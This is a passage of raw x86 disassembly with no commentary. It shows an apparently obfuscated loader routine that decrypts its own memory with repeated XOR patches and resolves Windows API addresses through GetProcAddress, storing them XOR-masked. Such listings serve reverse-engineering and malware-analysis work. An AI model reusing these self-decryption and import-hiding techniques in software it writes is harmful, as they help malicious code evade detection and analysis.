mov eax, dword [0x10107300]
lea ecx, [eax + 0x15938]
add eax, 0x148a9
xor eax, dword [ecx]
xor eax, 0xdccd8465
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e3bd]
add eax, 0x19fa0
xor eax, dword [ecx]
xor eax, 0xdccd536c
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
sub eax, dword [0x1010536c]
mov dword [0x10105abc], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10106ae8]
mov dword [0x10105368], ecx
lea ecx, [eax + 0xfe02]
add eax, 0x20078
xor eax, dword [ecx]
mov dword [esp + 0x18], 0x186
xor eax, esi
mov dword [ecx], eax
push dword [0x10107300]
mov eax, dword [0x10105368]
push eax
push eax
push section..data
call fcn.1001555e
dec dword [esp + 0x18]
jne 0x10031bd8
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4744]
add eax, 0x27610
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x2ed
xor eax, 0xdccebadc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7451]
add eax, 0x20018
xor eax, dword [ecx]
xor eax, 0xdcceccd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x336d8]
add eax, 0xa4b10
xor eax, dword [ecx]
xor eax, 0xdcc687dc
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
imul eax, eax, 0x16d6f472
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19cd5]
add eax, 0x33ab0
xor eax, dword [ecx]
xor eax, 0xdccff67c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbca7]
add eax, 0x24a78
xor eax, dword [ecx]
xor eax, 0xdcce86b4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25fbc]
add eax, 0x5bb0
xor eax, dword [ecx]
xor eax, 0xdccc977c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x50e0]
mov dword [esp + 0x18], eax
add eax, 0x24e28
xor eax, dword [ecx]
xor eax, 0xdcce82e4
mov dword [ecx], eax
mov eax, dword [0x101062e4]
imul eax, eax, 0xecd02dfd
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa1b9]
add eax, 0xa5a08
xor eax, dword [ecx]
xor eax, 0xdcc696c4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x279c0]
add eax, 0x33370
xor eax, dword [ecx]
xor eax, 0xdccfffbc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc1ce]
add eax, 0x20244
xor eax, dword [ecx]
xor eax, 0xdccece88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18d21]
add eax, 0x20180
xor eax, dword [ecx]
xor eax, 0xdccecd4c
mov dword [ecx], eax
push dword [0x10107300]
push dword [0x10105ab8]
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [0x10103e60]
xor eax, 0x36520c9e
dec dword [esp + 0x10]
mov dword [0x101062e4], eax
jne 0x10031d32
mov eax, dword [0x10107300]
push 0x10107f11
push dword [esp + 0x40]
add eax, 0x20360
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9862
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xba74]
add eax, 0x25088
xor eax, dword [ecx]
xor eax, 0xdcce9c44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x34274]
add eax, 0x1f79b
xor eax, dword [ecx]
xor eax, 0xdccd3b57
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x101062e0]
sub ecx, eax
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x342f8]
add eax, 0x1f7db
xor eax, dword [ecx]
xor eax, 0xdccd3b17
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc769]
add eax, 0x28b10
xor eax, dword [ecx]
xor eax, 0xdcce47dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x343bc]
add eax, 0x1e95a
xor eax, dword [ecx]
xor eax, 0xdccd2596
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254a8]
add eax, 0x13030
xor eax, dword [ecx]
xor eax, 0xdccdfcfc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12893]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9a79]
add eax, 0x27b44
xor eax, dword [ecx]
xor eax, 0xdcceb788
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36fe8]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1f69d]
add eax, 0x3414c
xor eax, dword [ecx]
xor eax, 0xdccf8d80
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3328c]
add eax, 0x36fc8
xor eax, dword [ecx]
xor eax, 0xdccfa304
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33fe4]
add eax, 0x33fd4
xor eax, dword [ecx]
push 0x10107977
xor eax, 0xdccff318
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370d8]
add eax, 0x31900
xor eax, dword [ecx]
push ebp
xor eax, 0xdccfd5cc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20eb8]
add eax, 0x27c96
xor eax, dword [ecx]
xor eax, 0xdcceb05a
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8c9]
add eax, 0xa8fc0
xor eax, dword [ecx]
xor eax, 0xdcc6430c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x110d6]
add eax, 0x20014
xor eax, dword [ecx]
xor eax, 0xdcceccd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201a0
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
mov dword [esp + 0x10], 0x22
xor ecx, 0xcccf9946
mov dword [eax], ecx
push dword [0x10107300]
push dword [esp + 0x18]
push dword [0x10103e64]
push section..data
call fcn.1001555e
dec dword [esp + 0x10]
jne 0x10031f5b
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf050]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17de5]
add eax, 0xa90e4
xor eax, dword [ecx]
xor eax, 0xdcc65c28
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32994]
add eax, 0x13090
xor eax, dword [ecx]
xor eax, 0xdccdfc5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32b6c]
add eax, 0x36024
xor eax, dword [ecx]
xor eax, 0xdccface8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3ba4]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254bc]
add eax, 0x3490
xor eax, dword [ecx]
xor eax, 0xdcccf85c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4a50]
add eax, 0x231d8
xor eax, dword [ecx]
xor eax, ebx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1057c]
add eax, 0xa5a34
xor eax, dword [ecx]
xor eax, 0xdcc696f8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3b10]
add eax, 0x27644
xor eax, dword [ecx]
xor eax, 0xdcceba88
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32ac4]
add eax, 0x13d40
xor eax, dword [ecx]
xor eax, 0xdccdf18c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa39bc]
add eax, 0x37618
xor eax, dword [ecx]
xor eax, 0xdccfbad4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10105368]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x94dc]
add eax, 0x27c40
xor eax, dword [ecx]
xor eax, 0xdcceb08c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x370c4]
add eax, 0x31da8
xor eax, dword [ecx]
xor eax, 0xdccfd164
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x330b4]
add eax, 0x330b8
xor eax, dword [ecx]
xor eax, 0xdccffc74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa3d80]
add eax, 0x271d4
xor eax, dword [ecx]
xor eax, 0xdccebd18
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x17ef5]
add eax, 0x201ac
xor eax, dword [ecx]
xor eax, 0xdccecd60
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xeb7d]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x140d7]
add eax, 0xa5a94
xor eax, dword [ecx]
xor eax, 0xdcc69658
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1846c]
add eax, 0xa4c10
xor eax, dword [ecx]
xor eax, 0xdcc680dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa40c8]
add eax, 0x26bdc
xor eax, dword [ecx]
xor eax, 0xdccea710
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33c8]
add eax, 0x23058
xor eax, dword [ecx]
xor eax, 0xdccefc94
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xb932]
add eax, 0x202d4
xor eax, dword [ecx]
xor eax, 0xdccece18
mov dword [ecx], eax
mov eax, dword [esp + 0x20]
imul eax, dword [esp + 0x18]
mov ecx, dword [0x10106ae8]
mov dword [esp + 0x20], eax
mov eax, dword [0x10107300]
add ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x336a0]
add eax, 0xa4a74
xor eax, dword [ecx]
xor eax, 0xdcc686b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4920]
add eax, 0x27154
xor eax, dword [ecx]
xor eax, 0xdccebd98
mov dword [ecx], eax
mov eax, dword [0x10103e64]
add eax, 0x93978f9a
mov dword [0x10105368], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1dfd2]
add eax, 0x1e06a
xor eax, dword [ecx]
xor eax, 0xdccd2ca6
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf7cb]
add eax, 0x202c8
xor eax, dword [ecx]
push 0x101074b0
xor eax, 0xdccece04
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x2006c
push ebp
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b98
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256e4]
add eax, 0x38d0
xor eax, dword [ecx]
xor eax, 0xdcccf41c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33000]
add eax, 0x33010
xor eax, dword [ecx]
xor eax, 0xdccffcdc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36244]
add eax, 0x235bc
xor eax, dword [ecx]
xor eax, 0xdccef970
mov dword [ecx], eax
mov eax, dword [0x101062e0]
sub eax, dword [0x10103e64]
mov dword [esp + 0x14], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x111fb]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11709]
add eax, 0xa59b0
xor eax, dword [ecx]
xor eax, 0xdcc6957c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1c155]
add eax, 0x3630c
xor eax, dword [ecx]
xor eax, 0xdccfafc0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x158e]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x4ba2]
add eax, 0x202dc
xor eax, dword [ecx]
xor eax, 0xdccece10
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1b104]
add eax, 0x36060
xor eax, dword [ecx]
xor eax, 0xdccfacac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x342f0]
add eax, 0x1f7d0
xor eax, dword [ecx]
xor eax, 0xdccd3b1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x37074]
add eax, 0x31f1c
xor eax, dword [ecx]
push 0x10107822
xor eax, 0xdccfd3d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1cd70]
add eax, 0x1cd9c
xor eax, dword [ecx]
push ebp
xor eax, 0xdccd0150
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [0x10105368]
sub ecx, eax
mov dword [0x101062e0], ecx
lea ecx, [eax + 0x1bf2f]
add eax, 0x36aa4
xor eax, dword [ecx]
xor eax, 0xdccfa668
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20150
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf822a
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334fc]
add eax, 0xa4a30
xor eax, dword [ecx]
xor eax, 0xdcc686fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4334]
add eax, 0x83f80
xor eax, dword [ecx]
xor eax, 0xdcc4f34c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1083d]
add eax, 0x20240
xor eax, dword [ecx]
xor eax, 0xdccece8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c54]
add eax, 0x36cfc
xor eax, dword [ecx]
xor eax, 0xdccfa030
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x54fc]
add eax, 0x25edc
xor eax, dword [ecx]
xor eax, 0xdcce9210
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32358]
add eax, 0x328c4
xor eax, dword [ecx]
xor eax, 0xdccfe408
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x254d8]
add eax, 0x3220
xor eax, dword [ecx]
xor eax, 0xdcccfeec
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x101062e0]
mov dword [0x10106ae8], ecx
lea ecx, [eax + 0x36ad4]
add eax, 0x249e8
xor eax, dword [ecx]
xor eax, 0xdcce8524
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33538]
add eax, 0x3353c
xor eax, dword [ecx]
push 0x10107e70
xor eax, 0xdccff9f0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1295a]
add eax, 0x123e0
xor eax, dword [ecx]
push dword [esp + 0x34]
xor eax, 0xdccdef2c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16cda]
add eax, 0xa4bec
xor eax, dword [ecx]
xor eax, 0xdcc68720
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x18c4e]
add eax, 0x20094
xor eax, dword [ecx]
xor eax, 0xdccecc58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9ed4]
add eax, 0x200f8
xor eax, dword [ecx]
xor eax, 0xdccecc34
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x336d4]
add eax, 0x32fc4
xor eax, dword [ecx]
xor eax, 0xdccfe308
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc369]
add eax, 0x24d98
xor eax, dword [ecx]
xor eax, 0xdcce8154
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c24]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x20030
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9f04
mov dword [eax], ecx
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4724]
add eax, 0x94b28
xor eax, dword [ecx]
xor eax, 0xdcc587e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x182c2]
add eax, 0x36528
xor eax, dword [ecx]
xor eax, 0xdccfa9e4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3ee5]
add eax, 0x2575c
xor eax, dword [ecx]
xor eax, 0xdcce9b90
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
imul ecx, dword [0x10103e64]
mov dword [0x10105ab8], ecx
lea ecx, [eax + 0x1f8]
add eax, 0x1000
xor eax, dword [ecx]
xor eax, 0xcccd2465
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240f8]
add eax, 0x23a6c
xor eax, dword [ecx]
xor eax, 0xdccef6a0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x12208]
add eax, 0x202d0
xor eax, dword [ecx]
xor eax, 0xdccece1c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a8fc]
add eax, 0xa8fb8
xor eax, dword [ecx]
xor eax, 0xdcc64374
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x191f1]
add eax, 0x20114
xor eax, dword [ecx]
xor eax, 0xdccecdd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xebca]
add eax, 0x2031c
xor eax, dword [ecx]
xor eax, 0xdccecfd0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x336bc]
add eax, 0x36ea0
xor eax, dword [ecx]
xor eax, 0xdccfa26c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331b4]
add eax, 0x331b8
xor eax, dword [ecx]
xor eax, 0xdccffd74
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xe464]
add eax, 0x20328
xor eax, dword [ecx]
xor eax, 0xdccecfe4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25728]
add eax, 0x3dc0
xor eax, dword [ecx]
xor eax, 0xdcccf10c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xac83]
add eax, 0x27b38
xor eax, dword [ecx]
xor eax, 0xdcceb7f4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x334f4]
add eax, 0x32c74
xor eax, dword [ecx]
xor eax, 0xdccfe0b8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x36aa0]
add eax, 0x24200
xor eax, dword [ecx]
xor eax, 0xdcce8ecc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xbaaa]
add eax, 0x25290
xor eax, dword [ecx]
mov dword [esp + 0x10], 0x10d
xor eax, 0xdcce9e5c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x950a]
add eax, 0x27c48
xor eax, dword [ecx]
xor eax, 0xdcceb084
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, dword [esp + 0x14]
add ecx, eax
mov dword [0x10103e64], ecx
lea ecx, [eax + 0x2b99]
add eax, 0xa8d20
xor eax, dword [ecx]
xor eax, 0xdcc641ec
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x256e0]
add eax, 0x38b0
xor eax, dword [ecx]
xor eax, 0xdcccf47c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1139a]
add eax, 0x20078
xor eax, dword [ecx]
xor eax, esi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33998]
add eax, 0x339a4
xor eax, dword [ecx]
xor eax, 0xdccff568
mov dword [ecx], eax
mov eax, dword [0x10105abc]
and eax, dword [0x1010536c]
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x335d8]
add eax, 0x335f0
xor eax, dword [ecx]
xor eax, 0xdccff93c
mov dword [ecx], eax
mov eax, dword [0x10103e60]
imul eax, dword [0x10105abc]
mov dword [esp + 0x18], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf8f2]
add eax, 0x2021c
xor eax, dword [ecx]
xor eax, 0xdcceced0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a882]
add eax, 0x201b0
xor eax, dword [ecx]
xor eax, 0xdccecd7c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32e1c]
add eax, 0x32ec4
xor eax, dword [ecx]
xor eax, 0xdccfe208
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1a9e6]
add eax, 0x20074
xor eax, dword [ecx]
xor eax, 0xdcceccb8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x27fd]
add eax, 0x20288
xor eax, dword [ecx]
xor eax, 0xdccece44
mov dword [ecx], eax
mov eax, dword [0x101062e0]
push dword [0x10107300]
push eax
push dword [0x10105368]
push section..data
call fcn.1001555e
mov eax, dword [0x101062e0]
or eax, dword [0x10105368]
dec dword [esp + 0x10]
mov dword [0x101062e0], eax
jne 0x100328ae
imul eax, dword [esp + 0x20]
mov dword [0x101062e4], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33390]
add eax, 0x33394
xor eax, dword [ecx]
mov edx, 0xdccecc60
xor eax, 0xdccfff58
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1bc17]
add eax, 0x36960
xor eax, dword [ecx]
xor eax, 0xdccfa5ac
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa433c]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xc9e9]
add eax, 0x24ce4
xor eax, dword [ecx]
xor eax, 0xdcce8028
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x15988]
add eax, 0x1576c
xor eax, dword [ecx]
xor eax, 0xdccd9ba0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x7610]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10105abc]
mov ecx, dword [esp + 0x20]
add eax, ecx
mov dword [0x10103e60], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x91d5]
add eax, 0x27cac
xor eax, dword [ecx]
xor eax, 0xdcceb060
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa473c]
add eax, 0x95940
xor eax, dword [ecx]
xor eax, 0xdcc5958c
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
and ecx, dword [0x10103e64]
mov dword [0x10105368], ecx
lea ecx, [eax + 0x37080]
add eax, 0x31ef8
xor eax, dword [ecx]
xor eax, 0xdccfd234
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9449]
add eax, 0x27e1c
xor eax, dword [ecx]
xor eax, 0xdcceb2d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x3704c]
add eax, 0x32114
xor eax, dword [ecx]
xor eax, 0xdccfedd8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x19322]
add eax, 0x200f0
xor eax, dword [ecx]
xor eax, 0xdccecc3c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25758]
add eax, 0x33180
xor eax, dword [ecx]
xor eax, 0xdccffd4c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x25fb4]
add eax, 0x5a90
xor eax, dword [ecx]
xor eax, 0xdccc965c
mov dword [ecx], eax
mov eax, dword [0x1010536c]
mov ecx, dword [0x101062e4]
add ecx, eax
mov eax, dword [0x10107300]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x140ff]
add eax, 0xa5ab4
xor eax, dword [ecx]
xor eax, 0xdcc69678
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x331c4]
add eax, 0x36f68
xor eax, dword [ecx]
xor eax, 0xdccfa3a4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov dword [0x101062e0], eax
lea ecx, [eax + 0x3cfe]
add eax, 0x25728
xor eax, dword [ecx]
xor eax, 0xdcce9be4
mov dword [ecx], eax
mov eax, dword [0x10107300]
mov ecx, eax
or ecx, dword [0x1010536c]
mov dword [0x10103e60], ecx
lea ecx, [eax + 0x1ca70]
add eax, 0x33d88
xor eax, dword [ecx]
xor eax, 0xdccff144
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x33e6c]
add eax, 0x33e5c
xor eax, dword [ecx]
xor eax, 0xdccff290
mov dword [ecx], eax
mov eax, dword [0x101062e4]
xor dword [0x10105abc], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x132fd]
add eax, 0x23188
xor eax, dword [ecx]
xor eax, 0xdccefd44
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x10638]
add eax, 0x200ac
xor eax, dword [ecx]
xor eax, edx
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x13129]
add eax, 0x32a0c
xor eax, dword [ecx]
xor eax, 0xdccfe6c0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x8714]
add eax, 0x27bd8
xor eax, dword [ecx]
xor eax, 0xdcceb714
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x9e09]
add eax, 0x200a8
xor eax, dword [ecx]
xor eax, 0xdccecc64
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa498]
add eax, 0x20118
xor eax, dword [ecx]
push 0x10107ae8
xor eax, 0xdccecdd4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x16b30]
add eax, 0x21008
xor eax, dword [ecx]
push ebp
xor eax, 0xdccedcc4
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32c44]
add eax, 0x32c10
xor eax, dword [ecx]
xor eax, 0xdccfe0dc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32a28]
add eax, 0x13040
xor eax, dword [ecx]
xor eax, 0xdccdfc8c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x11068]
add eax, 0x27e50
xor eax, dword [ecx]
xor eax, 0xdcceb29c
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x240b4]
add eax, 0x23c7c
xor eax, dword [ecx]
xor eax, 0xdccef0b0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x32fe8]
add eax, 0x36eb8
xor eax, dword [ecx]
xor eax, 0xdccfa274
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x1e52a]
add eax, 0xa8f30
xor eax, dword [ecx]
xor eax, 0xdcc643fc
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4264]
add eax, 0x27748
xor eax, dword [ecx]
xor eax, edi
mov dword [ecx], eax
mov eax, dword [0x1010536c]
add dword [esp + 0x20], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa4908]
add eax, 0x26614
xor eax, dword [ecx]
xor eax, 0xdcceaad8
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x20c1]
add eax, 0x24f1c
xor eax, dword [ecx]
xor eax, 0xdcce83d0
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0x339a4]
add eax, 0xa4b4c
xor eax, dword [ecx]
xor eax, 0xdcc68780
mov dword [ecx], eax
mov eax, dword [0x10107300]
add eax, 0x201fc
mov dword [esp + 0x18], eax
call sub.KERNEL32.dll_GetProcAddress
mov ecx, eax
mov eax, dword [esp + 0x10]
xor ecx, dword [eax]
xor ecx, 0xcccf9b32
mov dword [eax], ecx
mov eax, dword [0x10105368]
xor eax, ebp
mov dword [0x10103e64], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xa428c]
add eax, 0x80ce8
xor eax, dword [ecx]
xor eax, 0xdcc4c024
mov dword [ecx], eax
mov eax, dword [0x10107300]
lea ecx, [eax + 0xf1d3]
add eax, 0x29080
xor eax, dword [ecx]
xor eax, 0xdcce5c4c
